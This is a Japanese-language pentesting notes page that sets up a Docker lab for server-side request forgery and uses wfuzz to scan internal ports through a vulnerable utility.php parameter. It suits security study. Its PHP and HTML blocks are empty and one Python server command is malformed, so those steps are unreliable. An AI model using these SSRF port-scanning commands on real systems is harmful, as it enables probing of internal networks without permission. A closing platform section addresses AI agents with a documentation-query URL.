> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md). # SSRF Wfuzz Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SSRF Wfuzz メモ。 ## 第1シナリオのインストール（SSRF脆弱性） ```bash docker pull ubuntu:latest docker run -dit --name ssrf_first_lab ubuntu docker exec -it ssrf_first_lab bash apt update apt install apache2 php nano python3 lsof -y service apache2 start lsof -i:80 # ウェブサイトが稼働していることを確認 ``` * そのディレクトリ内で **/var/www/html**、以下の内容でutility.phpファイルを作成します： ```php ``` * この場合、スクリプトは期待どおりに動作しません。ファイルを修正する必要があります **"/etc/php/8.1/apache2/php.ini"** allow\_url/*include* 「on」に。 ![](https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd21a26a42e5822a942aaf53869b1a5b92214ab7%2FPasted%20image%2020230920231334.png?alt=media) ![](https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4fb053f1d40e03dd0249bbbe96ba124156c3d30%2FPasted%20image%2020230920231825.png?alt=media) * 作成する `login.html` ファイルを `/tmp/` 本番環境のログインページをシミュレートするために： ```html ログインページ

学生ログインフォーム（PRO）

ログイン状態を保持 パスワードをお忘れですか？ ``` * 変更後にapache2サービスを再起動します： ```bash service apache2 restart ``` * 内部ネットワークからのみ見えるPython3のWebサーバーを作成します： ```bash python3 -m 4646 --bind 127.0.0.1 ``` 第1シナリオを理解するための技術図（**8089番ポートに、内部ネットワークのコンピューターからのみ見えるウェブサイトがあります**):
〜のおかげで **utility.php** スクリプトでURLを指定すると、それが解釈されるのがわかります：
通常のマシンから接続しようとすると、 **アクセスできません** そのウェブサイトへ：
しかし、 **utility.php** 内部ネットワークのURLを指定すると、それが解釈されるのがわかります：
仮に **ポートが分からない**、使用します **Wfuzz** 総当たり攻撃を開始するために： ```go wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ" ```
次に、 **フィルタリングします** 異なるものだけを表示するために **4文字の長さの**: ```go wfuzz -c -t 200 --hl=4 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ" ``` ポートを検出します **80と4646**:
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.